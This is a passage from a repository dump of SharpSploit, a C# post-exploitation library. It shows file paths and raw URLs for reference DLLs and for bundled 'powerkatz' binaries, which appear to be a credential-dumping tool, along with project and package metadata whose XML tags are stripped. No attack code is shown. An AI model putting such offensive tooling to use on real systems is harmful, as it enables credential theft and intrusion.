https://raw.githubusercontent.com/cobbr/SharpSploit/c16931ddb8cd2335e0bd26feb9aaa35f449d48db/SharpSploit/References/net40/System.DirectoryServices.dll -------------------------------------------------------------------------------- /SharpSploit/References/net40/System.IdentityModel.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/SharpSploit/c16931ddb8cd2335e0bd26feb9aaa35f449d48db/SharpSploit/References/net40/System.IdentityModel.dll -------------------------------------------------------------------------------- /SharpSploit/References/net40/System.Management.Automation.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/SharpSploit/c16931ddb8cd2335e0bd26feb9aaa35f449d48db/SharpSploit/References/net40/System.Management.Automation.dll -------------------------------------------------------------------------------- /SharpSploit/References/net40/System.Management.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/SharpSploit/c16931ddb8cd2335e0bd26feb9aaa35f449d48db/SharpSploit/References/net40/System.Management.dll -------------------------------------------------------------------------------- /SharpSploit/References/net40/mscorlib.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/SharpSploit/c16931ddb8cd2335e0bd26feb9aaa35f449d48db/SharpSploit/References/net40/mscorlib.dll -------------------------------------------------------------------------------- /SharpSploit/Resources/powerkatz_x64.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/SharpSploit/c16931ddb8cd2335e0bd26feb9aaa35f449d48db/SharpSploit/Resources/powerkatz_x64.dll -------------------------------------------------------------------------------- /SharpSploit/Resources/powerkatz_x64.dll.comp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/SharpSploit/c16931ddb8cd2335e0bd26feb9aaa35f449d48db/SharpSploit/Resources/powerkatz_x64.dll.comp -------------------------------------------------------------------------------- /SharpSploit/Resources/powerkatz_x86.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/SharpSploit/c16931ddb8cd2335e0bd26feb9aaa35f449d48db/SharpSploit/Resources/powerkatz_x86.dll -------------------------------------------------------------------------------- /SharpSploit/Resources/powerkatz_x86.dll.comp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/SharpSploit/c16931ddb8cd2335e0bd26feb9aaa35f449d48db/SharpSploit/Resources/powerkatz_x86.dll.comp -------------------------------------------------------------------------------- /SharpSploit/SharpSploit.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | net40;net35 5 | true 6 | 1.1.0 7 | Ryan Cobb (@cobbr_io) 8 | SharpSploit is a .NET post-exploitation library written in C# https://sharpsploit.cobbr.io/api 9 | https://opensource.org/licenses/BSD-3-Clause 10 | https://github.com/cobbr/SharpSploit 11 | https://cobbr.io/favicon.png 12 | https://github.com/cobbr/SharpSploit 13 | git 14 | SharpSploit C# .NET post-exploitation offensive security 15 | 16 | 17 | 18 | AnyCPU 19 | .\SharpSploit.xml 20 | 1701;1702;1591 21 | 22 | 23 | 24 | none 25 | false 26 | .\SharpSploit.xml 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | .\References\net35\mscorlib.dll 40 | 41 | 42 | .\References\net35\System.Management.dll 43 | 44 | 45 | .\References\net35\System.Management.Automation.dll 46 | 47 | 48 | .\References\net35\System.DirectoryServices.dll 49 | 50 | 51 | .\References\net35\System.IdentityModel.dll 52 | 53 | 54 | 55 | 56 | .\References\net40\mscorlib.dll 57 | 58 | 59 | .\References\net40\System.Management.dll 60 | 61 | 62 | .\References\net40\System.Management.Automation.dll 63 | 64 | 65 | .\References\net40\System.DirectoryServices.dll 66 | 67 | 68 | .\References\net40\System.IdentityModel.dll 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | -------------------------------------------------------------------------------- /SharpSploit/SharpSploit.nuspec: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | $id$ 5 | $version$ 6 | $title$ 7 | $author$ 8 | $author$ 9 | https://opensource.org/licenses/BSD-3-Clause 10 | https://github.com/cobbr/SharpSploit 11 | https://cobbr.io/favicon.png 12 | false 13 | SharpSploit is a .NET post-exploitation library written in C#. https://sharpsploit.cobbr.io/api 14 | SharpSploit v1.1 15 | Copyright 2018 16 | SharpSploit C# .NET post-exploitation offensive security 17 | 18 | --------------------------------------------------------------------------------